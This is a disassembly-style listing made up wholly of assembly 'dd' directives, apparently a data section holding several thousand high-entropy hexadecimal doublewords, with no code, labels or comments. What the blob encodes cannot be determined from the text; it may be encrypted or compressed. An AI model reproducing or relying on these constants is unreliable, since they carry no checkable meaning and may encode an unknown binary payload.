		dd 0D5699295h, 7A37AE90h, 0FCE97014h, 49E09BEh,	823E5BCBh
		dd 5FABC781h, 99E24056h, 0F091D14h, 85987187h, 0DB7CABEFh
		dd 0BECDC046h, 0B0C0E4h, 0B2A24E86h, 0EB8156D7h, 0BF4FE904h
		dd 69AC5B54h, 0BB849AA3h, 0F007B57Ah, 705BA9h, 89F7B12h
		dd 0CE00817Bh, 6629AD23h, 2788FCBBh, 298BFA8Bh,	0DF4077Ch
		dd 557A8A57h, 2B32F954h, 0BD0B94F6h, 7B7E1D49h,	707F53E9h
		dd 1D7C61C6h, 5EDC9701h, 998D01C2h, 0BB04A27Dh,	84FF6BEDh
		dd 0A2BCA8CBh, 286429A6h, 2E43061Eh, 80725200h,	370D1D7h
		dd 39A6A1E6h, 3EF2FE1Eh, 9D51AC56h, 2D938215h, 0D8F6755h
		dd 3F275486h, 9F00236Eh, 256E1F88h, 0F748EBFEh,	2BA110D2h
		dd 8EEA6031h, 96092BBAh, 0B47258F9h, 70492538h,	0BD3110CCh
		dd 0B7214B9Dh, 12E74C18h, 74B3124Eh, 8B519005h,	87C6C5F8h
		dd 58568907h, 890326DCh, 1AA9259Dh, 70E75B57h, 180462C4h
		dd 0DC0FB0BFh, 1F158EC1h, 0AD9D6800h, 8E11F23Fh, 0B2E3D41Ch
		dd 3E6287B0h, 3258EDAEh, 78B684C0h, 0A45F0A16h,	23EB6D34h
		dd 6B805FC8h, 0EF2CDA33h, 5B969530h, 4BE36BBFh,	4EDA4D63h
		dd 0E972D044h, 39B901C0h, 26654625h, 0CF358F0Fh, 0BB88EF40h
		dd 1A25A51Bh, 0B1736659h, 6A3D80D0h, 0F1C6E5A4h, 8A7B0509h
		dd 508489FEh, 0C36F9F4Dh, 700F1440h, 469A95FCh,	2C003E71h
		dd 88E52EA7h, 17640045h, 6B3423CFh, 0B6267977h,	882685FCh
		dd 96F81D16h, 85799AD2h, 0C8D29397h, 0F76D770Ch, 0F6580200h
		dd 2284B13h, 5F931CD4h,	0D2C856FBh, 41F13C5Bh, 3F0446E5h
		dd 0B680729Bh, 324B2D08h, 116F1809h, 96BF0365h,	4FAFDFCh
		dd 0AD14B2D5h, 896E5B6Bh, 92B9B30Bh, 0A79C99A8h, 0AD274A04h
		dd 68FCC089h, 4A645BA3h, 50ED8D29h, 7B585C7Eh, 6DB5F9FBh
		dd 35854AFEh, 0C902087Eh, 95090257h, 0DDEFA9F5h, 0F3B7AD01h
		dd 0E23CCD50h, 9D088B5Eh, 800F0A16h, 0B2592522h, 0FAAB2A00h
		dd 1DDCE77Bh, 3CF2C10Eh, 0A0D52482h, 0C0DD12CFh, 4E19BD2Ch
		dd 2F63A732h, 7AA07560h, 9CD4A839h, 0CA1BC200h,	0B9F7247Dh
		dd 0B130B4Eh, 0C5A4A595h, 8860FF58h, 8120E1B5h,	6C6DC661h
		dd 0BECC25E7h, 7B732F8Ah, 9D702D7Eh, 6A124155h,	57208482h
		dd 441A8C47h, 985933h, 6FF23215h, 7F00BB2Bh, 3A219484h
		dd 4EE93123h, 0D36EDE48h, 79735FAh, 0A6DD728Ch,	2B98AE18h
		dd 0DFEAF1B5h, 0F4D6852Ch, 8CA601BAh, 7195463Eh, 3D6020C8h
		dd 9D0BE90Eh, 90B3126Dh, 0F733048Eh, 96A4A28Dh,	3DB25FBh
		dd 0CF4A17Ch, 9FF7DAABh, 1A95D668h, 0FDBF82D1h,	0BEC5D704h
		dd 28EE170h, 0F8B072A2h, 3A5F85B2h, 50FC5BD5h, 1213A469h
		dd 28A2E557h, 4A02CB5Bh, 5E94D381h, 0C8EC9A2Fh,	9ACAC01Ch
		dd 0A71D2E59h, 8C07C70h, 8E32B8BBh, 0EFCE9772h,	5B60EF8Dh
		dd 9C01BD0Bh, 0EC961271h, 46EDC327h, 7D1F989Ah,	677E00E7h
		dd 0A88463F8h, 4F241179h, 8205CCBBh, 18E05B6Ch,	61B92D57h
		dd 0FA81D4DCh, 0D59D2396h, 0DC2BA54h, 0B72578E1h, 1A649A4Dh
		dd 53517A60h, 42A68535h, 0A66275BEh, 0B84DA0E1h, 431300CEh
		dd 2391E3A5h, 81724BBh,	2AA9639Eh, 0B8181DC4h, 7AADB423h
		dd 0FE050DA8h, 78E60903h, 39B53F80h, 61F88020h,	2927BB04h
		dd 31B8570Eh, 319D85DDh, 7A2DFE14h, 138C6A6Fh, 60D0C162h
		dd 4EB18D31h, 0C737F81Ch, 7EEB259Dh, 0EE53CB69h, 3E381951h
		dd 0FDB69312h, 229AD625h, 0B89AC81h, 35043E91h,	971D2D79h
		dd 611AA49Dh, 0B485F395h, 134AD1Eh, 3F96CF81h, 0D82E16F3h
		dd 0D52F8D91h, 56193923h, 0DAC3042Bh, 0D96E925Bh, 64BF95E8h
		dd 156BD271h, 423D7D49h, 0E31FB385h, 0BBB584BEh, 1623C86Bh
		dd 89EDB407h, 6936E3E1h, 282B9461h, 81881257h, 553300CBh
		dd 0D88B0DDDh, 0DC07BF96h, 506DBA10h, 0FD0CB772h, 2550AF65h
		dd 0EFC50473h, 0AB0B880Fh, 4C09C9Ch, 0D4F8E2A7h, 3115C1ECh
		dd 28702E02h, 321C22BBh, 0ED224B7Ah, 75DC145Fh,	233A9753h
		dd 8250A8FBh, 35D19DB5h, 6D794C00h, 975BF24Bh, 0FA2C73CDh
		dd 0CAD81892h, 498F002Ch, 0DDB15E3h, 0B9498501h, 9E054A57h
		dd 0DEAA1191h, 4FAB800Dh, 35436B9h, 0D22A40C0h,	8F25C623h
		dd 73237CDFh, 2E7FE9E1h, 61AB0916h, 0E6F59D70h,	55464212h
		dd 28FEC1EAh, 11946D6h,	0D9BFB729h, 9541968Bh, 0B805023Dh
		dd 11E91266h, 816E60FFh, 3E14174Dh, 94C6BFh, 5E444AAEh
		dd 5A2AEA3Ah, 9257C1B4h, 7E0ECD3Ch, 5DC08D9Eh, 4987B153h
		dd 8529EB0Eh, 310410FDh, 0BA0DC59Dh, 70807F9Fh,	0B7B0775Ch
		dd 8DAF8C50h, 0C427BA91h, 7CBF00BEh, 2C153A0Bh,	105997B8h
		dd 0FB5F2F9Fh, 5918D12Ah, 5A306EEEh, 1440C781h,	0EC290F26h
		dd 0AC0C711Fh, 0C0830938h
		dd 804D37DDh, 0AC9C53Dh, 0B707DE6Dh, 8D012C5Ah,	0B5B20494h
		dd 0DB42AC14h, 530DB307h, 33CDBB34h, 0BFCCDCC5h, 0F5EC00C6h
		dd 0BF2F5534h, 0A4330981h, 9CF95832h, 0C4DCDBBEh, 0CDEB6CE1h
		dd 25312830h, 0A7455322h, 0F2535689h, 52B8FBA7h, 0F8254BF7h
		dd 2A54DD3h, 9D292F24h,	1A552A59h, 0D470564Ah, 85892D14h
		dd 0E8A792FEh, 0A055E696h, 58A4D7FDh, 0F1389CB0h, 23F6A40h
		dd 0D7DB2F80h, 6C2DD79Fh, 0B70A00E9h, 4B31CEE6h, 36F28FC6h
		dd 5925CAB3h, 29E9893Dh, 3F901C5Fh, 6FCA0C7Bh, 109601F8h
		dd 816BFCDEh, 23907DCh,	0BD03471Ah, 876F0FA5h, 0CDBE7460h
		dd 0A27252Fh, 0F6AB6F53h, 80D1FF72h, 7DD9642Fh,	0A2670FBAh
		dd 0B9438C91h, 75985CB2h, 9904B80Eh, 0BF31DA95h, 0AFB1CE97h
		dd 0AD235150h, 0C013FC1Dh, 0F03C6F4Dh, 42185C6Dh, 81305B0Dh
		dd 8FFE25F3h, 9F9037CCh, 0C72B6925h, 0A47B2D15h, 3039950h
		dd 73BA1B92h, 0BECD3C50h, 0B29DE863h, 8D09101Fh, 240D258Ch
		dd 33F476D4h, 0BE98203h, 84D8ADB4h, 500B0139h, 1400A0D9h
		dd 8543E2Ah, 0FE0900EBh, 3A90A9E7h, 5B2F572Ch, 0EDB402B0h
		dd 70E60221h, 0D1F39BDDh, 6A705371h, 5F02F9BDh,	29BF056h
		dd 3D1E126Fh, 0C096A822h, 0FFBBD781h, 131A9FBAh, 5676ABD5h
		dd 0D31190Ch, 8E202BC1h, 5BE367h, 1BD83412h, 6B2B7F68h
		dd 4766FC00h, 9DE1649Fh, 420A6275h, 5B0429C9h, 0BB0F0407h
		dd 9F25F36Ch, 0DD16C2C5h, 0C82BE9C0h, 0F16F9DA0h, 8B3E2FF6h
		dd 0B64A05D1h, 0B2FF1F47h, 1BB25ACCh, 6C210E00h, 0AA25D20Ch
		dd 917790B5h, 0A5E5059Dh, 27DE9D5h, 10B1BD72h, 1D53050Bh
		dd 14168B56h, 5032AEECh, 0D9AB2518h, 0BDC921DFh, 392E31C5h
		dd 9244043Ah, 0E9023065h, 0E1AB9844h, 0DE45951Eh, 0AE038F08h
		dd 216425DCh, 1CBB2644h, 53203F8Fh, 0B512AE09h,	929226B2h
		dd 60A19529h, 2E225985h, 41D71C28h, 0F8F73A86h,	42575125h
		dd 5EEDFF60h, 6964A7C0h, 292617AEh, 9853FABDh, 23696BBAh
		dd 6185021Ah, 340EC22h,	85EB9F3h, 509C30Bh, 25BE0146h
		dd 0F89087F2h, 0CBBC5392h, 0AAF65BCFh, 0BA390E6Eh, 17E0B312h
		dd 0E8BC9466h, 1BA2D23Ch, 1A891662h, 974FCCD7h,	5787ED82h
		dd 91E33FDFh, 43AD8018h, 0BD7539DFh, 0B75DD50Bh, 415F0230h
		dd 315CCC80h, 0D0BDF32Dh, 0A8120216h, 0E1028C77h, 793A5D3Eh
		dd 2789AF2Eh, 33824459h, 1D1D75BDh, 4966022Fh, 0EFA5928h
		dd 55E06B26h, 1FB3F382h, 4A1E1497h, 0ED05A96Eh,	2752F06Fh
		dd 2A470B09h, 0F92A056Fh, 23186AEAh, 32020118h,	86AD6849h
		dd 0EA73CFD4h, 0A0EF140Ah, 0DE25E7B8h, 510B12C6h, 5591BD2Bh
		dd 0E1FF31A1h, 86F17E23h, 2255CE6Eh, 0BB6609A7h, 0DF59E353h
		dd 0D704B142h, 4912B33Dh, 179FF5B2h, 0E83BE904h, 20070280h
		dd 0DDD13A3Fh, 0FAC2B07Fh, 4146B260h, 0F8172A1Ah, 3BE060A6h
		dd 2814537Eh, 9BA5D2Ch,	702A11DBh, 5060151Dh, 0A25BC05Fh
		dd 1941CF4h, 96A4B725h,	46B3442Eh, 2D9B2D3h, 311BDF55h
		dd 3BD3C00Eh, 850F2C7Ch, 6B16E18Bh, 4EF63A5Bh, 0BE5D4A76h
		dd 20AF2F74h, 0EBDC3237h, 25694D00h, 76D8A93Fh,	3F70ACDh
		dd 979FAD9Dh, 0ED56FE90h, 0B1E1F3F6h, 656AF88Fh, 0A3159B07h
		dd 7B793768h, 0A5D78CFh, 0D1DBB901h, 4C0E010Ch,	89D5C17Ah
		dd 54387F2Bh, 39A4A650h, 5C7006A6h, 0C60BECA8h,	4D86B389h
		dd 8D926D8Bh, 81A360EFh, 43523B78h, 0B75825D8h,	91EE0CEEh
		dd 0CCB7FE58h, 22BF1330h, 4F4E303Ch, 1614AF1Fh,	5FDDE607h
		dd 0FBECB7FDh, 458A3800h, 0E5E9736Eh, 0F4BB9601h, 92C12E0Bh
		dd 400454A1h, 449CD61Ch, 0E08D3800h, 4E8720FFh,	83B62511h
		dd 2A0033C4h, 2E301A78h, 0FC8DAD98h, 31DA0BD7h,	0E13585h
		dd 0F9B66B5Fh, 25254958h, 0DF566462h, 8DF35769h, 57310109h
		dd 0C8B8E0CCh, 3AEC1C4Eh, 0A01EA6B5h, 4EB11D9Ch, 0BE8AC1A9h
		dd 27916FE5h, 9A6FD468h, 0C01BC821h, 3C307880h,	8CD32302h
		dd 52BD0935h, 0E48957Dh, 2D4051B5h, 870F2F96h, 8950BD56h
		dd 0CAA000AAh, 719F7AF4h, 4C002A52h, 7B33BADBh,	0ED4881Eh
		dd 0B886BB50h, 0DB9629E5h, 0A630C0A9h, 24224D9Ah, 94F7AE0h
		dd 375F28F1h, 8B149158h, 65570291h, 8680016h, 0D94F1EE2h
		dd 3E37E88h, 55D5A3B0h,	74EB8E66h, 21F1AAC0h, 1CB4ED02h
		dd 0DCEB9273h, 0A6BC402Ch, 63020E6Eh, 7FB21A42h, 0A103DF5Bh
		dd 278221F7h, 0B6B0A4C8h, 41F41597h, 3D0FBD5Ch,	0CBA95F3Eh
		dd 0B206A64Ah, 0D3EC301Ch, 7910C700h, 0E0D2A969h, 599D102Bh
		dd 53612515h, 66770FDh,	51B1950Bh, 0C8930456h, 6175CCEBh
		dd 3D665B64h, 0F439A852h, 5FC0229Ah, 0BF268E3Dh, 45A4E209h
		dd 7A16DD10h, 0EBB72BE1h, 0E860EDA2h, 1A4ACD95h, 53ADFF95h
		dd 2D36E918h, 71B7830Fh, 0D5DE40AEh, 3200FF62h,	0AFF27224h
		dd 9BAC803h, 64E10DE2h,	25DDF371h, 0D440444Dh, 58323ECh
		dd 0C86A898Dh, 0AB9DBB9Bh, 6679F52Fh, 791FF0A1h, 0FE8202CEh
		dd 0D98AF9AAh, 5B51195Eh, 0B0F055A5h, 76C2CE27h, 32DDD289h
		dd 18BB8EF7h, 5F8BF3Dh,	69B529D0h, 966FBE1Ch, 0E0F1D23h
		dd 0D65CA028h, 5EA2EFDCh, 5268489h, 0BE155D8Ch,	0FE7E2276h
		dd 86C5B722h, 40964DA5h, 9B234DCh, 6001F77Dh, 0E48FB0B9h
		dd 9543502Dh, 5FA888F1h, 84699561h, 81627FF8h, 59C2200Fh
		dd 62004E46h, 74D8878Ah, 12F364A1h, 0E3E3CC28h,	0BB660466h
		dd 41B94F6Dh, 7762BA93h, 0A5C233DFh, 5297DD59h,	8E21C80Ah
		dd 42BB5B8Eh, 562FD6AFh, 22A142F1h, 0A03E6019h,	144191B0h
		dd 85FE996Eh, 0C9EAF3EAh, 89D2F10Bh, 7E688B8Fh,	0AE25F6FBh
		dd 0FB84460h, 0B28392BBh, 0ED850964h, 0F95B03A4h, 5EDA8B61h
		dd 0AF911164h, 0ACEEBF80h, 53B54D4Ah, 481D59B4h, 9A137948h
		dd 34FE06B6h, 3DA30435h, 50960508h, 0BF7840E3h,	7200AEB7h
		dd 59A0AF99h, 84641C94h, 2398A50Fh, 0E75BB9F7h,	1AB21AE6h
		dd 96F02231h, 0A54F1247h, 0AEAB84F7h, 272130CAh, 27B4F6E9h
		dd 0BDE8CFEh, 9634EF1Eh, 909DEFD8h, 40B580h, 0D3BBBFC9h
		dd 3D8287E4h, 6D3AB30Ah, 0F4A85Fh, 0B2802725h, 56432EFDh
		dd 0EF353B7h, 4210C19Dh, 0EF81070Ch, 6CB5A38Ch,	80E8B562h
		dd 8D769811h, 0BA812C5Eh, 6762563h, 4EE35F92h, 4DBD1473h
		dd 0D3480625h, 8A4FDD4Ah, 0BA170D3Eh, 0DD184942h, 8D31C7B8h
		dd 0D907DD2Dh, 962C7AAh, 0F4BBD4h, 0C4F1D7A0h, 0F47D629h
		dd 0D4C77C95h, 8E11670h, 0E7F125D8h, 1E401BFCh,	0FEA4968Ch
		dd 9DA1001Fh, 0A5D573B5h, 0B7A8C65Fh, 0A16F3DFh, 0C3EC7107h
		dd 0B36AEBF4h, 4878F85Eh, 68E61D96h, 60F3F4CBh,	2DFEB7D0h
		dd 0DF4DC18Bh, 553FCBC2h, 1C911CB5h, 96E06E81h,	0BF4FC90h
		dd 101AD227h, 40DE333h,	9CC50EB8h, 4DD7FB90h, 55F5692h
		dd 78E2FFCFh, 841C1700h, 6C31FD3h, 501F970h, 8F4E7DC4h
		dd 0AB2E83BBh, 61585521h, 0B569026Ah, 0E5410C5h, 0B917BEC0h
		dd 99F600AEh, 9CF85A6Bh, 0AC007286h, 2320BB1Eh,	95618417h
		dd 802AB7F5h, 920A2C9Fh, 0F812DFFCh, 4A66A2Bh, 1B5E87F0h
		dd 7F3AA675h, 0CA8E28DCh, 0E91C0E13h, 0D5C0289Bh, 60F73ADDh
		dd 0FB4042BEh, 820977h,	0C2CC99Fh, 8E38EF12h, 0CBB0BB04h
		dd 0CAC07524h, 58F7F8EEh, 0FB2DAC61h, 4D25BA56h, 3D15E0FCh
		dd 8B4BBE3Ch, 8D116FECh, 222F4C0Ah, 9A6CA104h, 0FA36952Bh
		dd 888035DBh, 127CD8FFh
		dd 203C3F02h, 821A8C0Fh, 29148636h, 23002AC4h, 9D0A59FEh
		dd 13AA650h, 35928DE2h,	625B4940h, 0FBFE34C2h, 0B030A330h
		dd 9F600096h, 0B922FCC7h, 7007203h, 0A0FDA4C2h,	0FC815B27h
		dd 3DD41251h, 3FA8E677h, 0C68525BFh, 0B7F84AA9h, 0A4AFA072h
		dd 82F24848h, 29075D13h, 9C220FEh, 8E382EF9h, 0B5EF976Eh
		dd 629C5C69h, 0E8559529h, 0F0026A57h, 0F5D295B5h, 37BF5002h
		dd 0A97A2889h, 0B80F18F1h, 2F4577B2h, 97CFC9Bh,	19EBBD6h
		dd 8D873553h, 0D6F6DCE5h, 0E9ACC609h, 0C29D7179h, 57091C18h
		dd 3C00C544h, 221F6C1Ah, 1F1080Ah, 6F4817B7h, 6A6141C1h
		dd 1126416Eh, 71B56370h, 0B31E34B8h, 0A8ED6D00h, 2E1A1648h
		dd 64F90BE2h, 90B0880Fh, 1425EAC3h, 64A2CD5Bh, 0CC256016h
		dd 79BABAEEh, 0BE3E854h, 28D5D018h, 0E4AD7E5Ch,	0CBD39D1Fh
		dd 0ED3A14h, 97D0ABD8h,	2E9BBBF8h, 24110C19h, 0F0C701FBh
		dd 2B48E1B3h, 1AE2A1E6h, 4639930h, 0C43B49B7h, 596D81DBh
		dd 12297202h, 0C0E21421h, 887AF794h, 0AF120BBFh, 0F6BE6E3Dh
		dd 40EDA4A4h, 7CE20380h, 5C018DDCh, 344EC062h, 0D17F9D09h
		dd 2AFF6A9Bh, 5501486Eh, 0D4F0EDE5h, 8DDD70F9h,	70460D5Ah
		dd 0CAF12031h, 97E326Ah, 0AF5630F9h, 80010350h,	0A520BD89h
		dd 0DB31326h, 4FE0FDB0h, 13BC1E3h, 16221110h, 638870E6h
		dd 86F3009Ah, 155702DFh, 0E4094447h, 72DE8B71h,	2BCE6FD5h
		dd 0C556F949h, 1C859D85h, 0C168DCAEh, 2425B0C4h, 80ACB012h
		dd 7C53C725h, 4DF34098h, 0C8322BD9h, 8292C03h, 236908F8h
		dd 0D381D180h, 114EEF39h, 278DE96Fh, 0CAA69060h, 187600FDh
		dd 0E8E54E73h, 0A11D4268h, 0B909106Ah, 0CAE382E3h, 69F5C61h
		dd 0B8494755h, 0A57BDD45h, 2B79E4F6h, 9DA49586h, 30C89826h
		dd 2BE9582Dh, 0C89D7D1Dh, 1F0C830h, 97377F08h, 8589B218h
		dd 2F735497h, 0F7520E76h, 62200865h, 28AAF883h,	0DF50A15Ch
		dd 0F9E85F95h, 407BC7Dh, 571C94F1h, 8A04FFF5h, 0AC24096Dh
		dd 21BED397h, 0F0DA316Ch, 6B00301Dh, 86D2403h, 0FFAB58Ah
		dd 3ED50225h, 0BF78123Eh, 15BDBC60h, 9CB9802Dh,	0BB56A5A8h
		dd 0F57B6913h, 9BB12F12h, 38B06E3Ah, 0C857835Fh, 90B5C27Eh
		dd 4AFC5D7Ah, 0FA44FA0Bh, 4EA8C02Bh, 59D63380h,	25003CB2h
		dd 47DA9BD4h, 0BDBA5183h, 0FC0A1EFh, 3F3D4855h,	20A51831h
		dd 69A9B3C7h, 63D26A80h, 5C9BA6h, 0CD8F7030h, 0B22BA876h
		dd 4D93E62Fh, 3B7BC917h, 0A268BB80h, 4B0D20C2h,	1CBB7B88h
		dd 6841164Ch, 5E6D8AD0h, 5ADDFE20h, 0A4EDE823h,	4814B620h
		dd 0DEC10242h, 271E80E3h, 456BFA9h, 57322DE2h, 76ADC459h
		dd 64A8044Ah, 99F2AB48h, 0C2E114E8h, 0F22A9111h, 0D95C0099h
		dd 1FF2827Ah, 550CAA28h, 3795236Ch, 9683002Fh, 9E592AC1h
		dd 58CAAC01h, 0F0B6BF66h, 5F15282Fh, 0F497428Ah, 4BA9A786h
		dd 0A17804FBh, 0E51A9721h, 84D3040h, 0A5C3D9BDh, 9C50DDD3h
		dd 5CA113FCh, 43FA0976h, 8AD2282h, 0EB71065Eh, 43D45FA5h
		dd 0FEDA4040h, 0CA5B4BB2h, 3EF100Ch, 48C18F8h, 0B974501Bh
		dd 0A310BC9Dh, 804D1E8Ch, 0BD6052CBh, 247AB821h, 0E08977E8h
		dd 4F2DEB81h, 56354D17h, 9511B0A0h, 0B3A62CF1h,	61F26225h
		dd 0F7C27580h, 0ED5A6966h, 0C1B017E7h, 79B0DACEh, 4A234D20h
		dd 7E31E6F8h, 0D88CD94Bh, 1600652h, 2332458Dh, 50F4BB07h
		dd 303C5F61h, 0E594D8h,	6BAFCB81h, 9ED44162h, 25451020h
		dd 0C17F6802h, 35D1BAD8h, 8238790Fh, 5F3F0E72h,	0F4AA1D90h
		dd 9CE39A00h, 34FF5483h, 0A12095D7h, 45464280h,	98DCDF9Eh
		dd 209C4BBDh, 0B37755DEh, 0BF2DF41Ch, 8BD5807Dh, 0EE6834E2h
		dd 0C82933CEh, 0AA8451C2h, 418C6D74h, 8A660489h, 0B82177A3h
		dd 58ECD69Ch, 5403DB80h, 0F8BF677Fh, 0EA015091h, 0C449CF14h
		dd 18B85B10h, 254AB3D2h, 545C6F8h, 0C16BF781h, 0FA5BC290h
		dd 7169415Ch, 0ED4C0034h, 2BD2E2F1h, 58777C25h,	79BD2F7Ah
		dd 85773DFAh, 0E3041041h, 89B2C7FAh, 84A75E73h,	34AE1AF2h
		dd 0A0FBB60Ah, 4EB1CAF7h, 9968FDF8h, 0C479AD74h, 0AC044612h
		dd 1626209Fh, 0D4810F96h, 8D08FE9Eh, 0F6BF005Bh, 5A19E580h
		dd 79405848h, 965C8213h, 32819A9Bh, 6EA64512h, 0A11013B7h
		dd 0BD230417h, 37B91DA9h, 413EA8D0h, 4FFBCF4Bh,	7381D3A1h
		dd 76F866BFh, 7087EF22h, 41D84B37h, 11EEB597h, 0FF318018h
		dd 0C4547F0Bh, 0AE21C98Eh, 20B81E74h, 90DB5609h, 1343CCF4h
		dd 4EAFD868h, 3BE00069h, 22589EADh, 4B0B25BDh, 0DC8A1AAAh
		dd 4521B2Dh, 0BFBE529Dh, 0BF067289h, 32AFB614h,	45ED900Eh
		dd 0E9577CE9h, 3600C064h, 0C996BB94h, 0B86501A5h, 1284E697h
		dd 0AC60A83Ah, 0D3A980C2h, 800B92h, 76532CB6h, 0DAFC1FE6h
		dd 505ACFF2h, 60288EA6h, 505EFC8Bh, 9D8DD417h, 615AD7E8h
		dd 2B8135E3h, 1B2D3E3Dh, 8B00E0A8h, 42B6BE8Fh, 4A92E8EFh
		dd 2730CA82h, 0F664DC54h, 79F0C497h, 0FE50022Ch, 85BD8968h
		dd 0E92F4D70h, 846BBD3Fh, 81BF6927h, 2B1B6533h,	0C9E93D8Eh
		dd 0C71130FEh, 0FCCA474Ah, 0A7044916h, 0B264A022h, 79160159h
		dd 98F9C5BBh, 34EC4B2Ah, 65AC6517h, 0F65B1E25h,	26181779h
		dd 40145F13h, 0F25D550Eh, 0A6D237E2h, 9C70A004h, 97B9019Eh
		dd 7427491Bh, 13850136h, 0E3FDC104h, 45B67BF7h,	42BB6B4h
		dd 6B14A879h, 89C352B8h, 6B25198Dh, 97001096h, 20F40108h
		dd 8F0F5062h, 780B630Eh, 0C8F6835Eh, 960BD820h,	7AA59529h
		dd 2DBD149Eh, 0E8A5BE2Ah, 0A6A74A68h, 0A012E64Fh, 97D8D3EFh
		dd 231ADDECh, 0D457599Dh, 820620C6h, 0FB4F7D9Eh, 821A3260h
		dd 0B05D2D52h, 582C0A40h, 64F14DB5h, 838B6214h,	0AAFDB9F0h
		dd 0B2F35DFEh, 0C2DB52h, 84417B8Ch, 54255F66h, 56FE983Bh
		dd 0F58D2A29h, 0C85F4BD0h, 7F079416h, 61AC4BA7h, 0CB999630h
		dd 258D71BFh, 0E2C139E3h, 0DE5CE6B7h, 56B72Dh, 0F9AAC813h
		dd 80162E5Ch, 0DDA9C6DFh, 0F271D989h, 0DE5C542Fh, 9D113704h
		dd 34AF8A0Fh, 250FE9F7h, 84E0376Ah, 0AF936933h,	1523286Bh
		dd 0BB75BF0Ah, 1E0EF60h, 0FA6E009Ah, 7E4A6820h,	3B120DECh
		dd 3CB848D8h, 8E253D10h, 525B3129h, 0E83FA9D4h,	3C80993h
		dd 0D41799Dh, 0A5D1EEF8h, 0F44D8C00h, 0B1D5D7h,	7AF66191h
		dd 0BEBCFC29h, 104CC527h, 0F21888C1h, 2FA4F6A6h, 3765BEEh
		dd 2A1DB584h, 0E2E06F29h, 14B3952Bh, 124098C0h,	0A524BB01h
		dd 7F973D3Eh, 0E4EFB3E4h, 6826126Ch, 4B26F3C0h,	5238208Ah
		dd 0D1CD9F70h, 0C5FFC5E4h, 0F30EAAFFh, 4D4991F2h, 760399BCh
		dd 94FEE49Ch, 0BDEB9A3h, 22118941h, 0D6B24E0Ah,	0DA445600h
		dd 67D1842Ah, 7E571502h, 575F40B7h, 0B525F265h,	4991FBBh
		dd 818F8623h, 5926F125h, 10302E45h, 906F781h, 0FC690248h
		dd 5C441179h, 95895743h, 4FEBBCDCh, 1191ECC1h, 0A046E72Bh
		dd 0FC475CFh, 59B099EDh, 30148CE4h, 41ECB2h, 84922217h
		dd 46CE7579h, 0A9862503h, 4B35BD23h, 530591A7h,	98BECB60h
		dd 95618944h, 0FCC1CED9h, 0E43BD6E9h, 539DC12Ah, 0EE170F4h
		dd 5BB36C02h, 60E9C982h, 0EB2A4BA2h, 86BC807Dh,	0C9453712h
		dd 8BF332FFh, 4373925Dh, 0DD10BA71h, 9F406C6Fh,	55596AFh
		dd 0BF2E61D9h, 0F49F276h, 806B3E2Bh, 2FDF8948h,	0D29EA299h
		dd 72786B10h, 808AB77Fh, 9AB237CDh, 0DA9E7F31h,	2D98A12h
		dd 1A042BC2h, 0F55782DAh
		dd 81A4886Bh, 2A6158h, 2FADD9BBh, 90387F98h, 0EB00C08Bh
		dd 28EC63F4h, 1D73DD01h, 8054301Dh, 7B663996h, 9F00E9F1h
		dd 4D8A567Fh, 6DF3B8h, 59A5A909h, 0DA6FCDFAh, 0EC7BF700h
		dd 4DF67C39h, 0EE6E1EF0h, 66CAC08Dh, 8B37DC43h,	63E1D0E7h
		dd 0A482F900h, 5A8623Dh, 985A3367h, 2100F108h, 42A48A1Fh
		dd 0F9CFB6Fh, 73643FD8h, 0E75EE800h, 0DC01D963h, 0D19FBC62h
		dd 51D82C75h, 0BD733E76h, 2B634B83h, 2900E434h,	869C3901h
		dd 19FD376Ah, 82762D8h,	232180F9h, 0A4049C31h, 4D7F396Ah
		dd 0DD16DE80h, 59A066C5h, 584F4631h, 30B20E29h,	3A302A60h
		dd 6A85119Ch, 80F6882Fh, 0E19C3222h, 963AE8E9h,	0DE870665h
		dd 0FA216BD3h, 6A645833h, 215EA406h, 84882011h,	20C6B6D9h
		dd 11DFC1h, 31A039FCh, 0DD472555h, 0C5095D66h, 0F9C7E21h
		dd 0B76888A0h, 0CA592F81h, 8A698077h, 72DDB00Ah, 488B07ADh
		dd 5094C528h, 74E2FC1Ah, 0AA246200h, 0DD8E9C4Fh, 188DDF1h
		dd 38071666h, 0BD6EF0E6h, 98180B6Ch, 3E3C8C36h,	4D5590A0h
		dd 0A0F199E3h, 6E29D0ADh, 6A839802h, 80F5E2FEh,	0AE5962B4h
		dd 5820826Fh, 7F0D430h,	8694CB00h, 0E0C44E09h, 8C92390Dh
		dd 8B7D0603h, 0D9E838E7h, 0A2307623h, 99E8A8E9h, 94D51D37h
		dd 0AD8900E4h, 0EF62EB4Eh, 0FF6B4100h, 756D35CEh, 0C7DA00ACh
		dd 819588DCh, 0D73DB39Eh, 0CC078A4Ch, 6C00D07Dh, 0B89F215Ah
		dd 0F211011Fh, 0A786E002h, 0F881EC73h, 0BDF2427Fh, 0B27DF300h
		dd 13DA5838h, 0C2700F0h, 0C77009EEh, 0E900927Ah, 793C61D1h
		dd 7C5CD414h, 41770385h, 94AB0F7Dh, 15269CD8h, 292A2C0Eh
		dd 3F4AE05Ah, 7A6F475h,	62F99CCh, 14BCF019h, 34E285C3h
		dd 235EE100h, 18E7AC6Ch, 657B031Ah, 54BB0368h, 4CC1A09Fh
		dd 0DF00CE01h, 0DAE9EF58h, 1D1A2D88h, 1E3D7F81h, 0F3BA3B6Eh
		dd 0D3BAD20Fh, 0C53AACE0h, 0DA0174C6h, 0AA89EF41h, 18808C67h
		dd 0E278E98Fh, 0A8986971h, 1E649348h, 0D037619h, 690F7B2h
		dd 13631A28h, 0C2006156h, 6674B097h, 1BBE17h, 0B78226BAh
		dd 0E353CA3Ah, 4A367603h, 0CC16693h, 69EC3D30h,	84D628h
		dd 2E2913E1h, 190D9345h, 529BF918h, 1A7D9578h, 0D147EA09h
		dd 7E461C18h, 0D4819C6h, 215606C0h, 98586973h, 8906AA42h
		dd 0C08B47CAh, 942A951Ah, 115C1521h, 0E7C700F4h, 0C0C10EB4h
		dd 9FC83F22h, 73987D38h, 0AE1A2070h, 2705148h, 67BA996Eh
		dd 25FE6153h, 18F215C4h, 0B1764512h, 8C008F7Dh,	2A67087Bh
		dd 7403B8E7h, 10CE0CCAh, 4551685Dh, 81318D60h, 7CEFC860h
		dd 0EB09008Ah, 531974BCh, 52034025h, 0D0551B6h,	4878222Eh
		dd 2A2D8D00h, 0D7B5F917h, 0A016507Fh, 8F2444B2h, 2231E114h
		dd 2AC00098h, 28E08C25h, 0B72D0049h, 0D86B2B3Fh, 0F4EB9585h
		dd 0E9300906h, 0AA1B79BEh, 248150F1h, 84758812h, 0C8E49550h
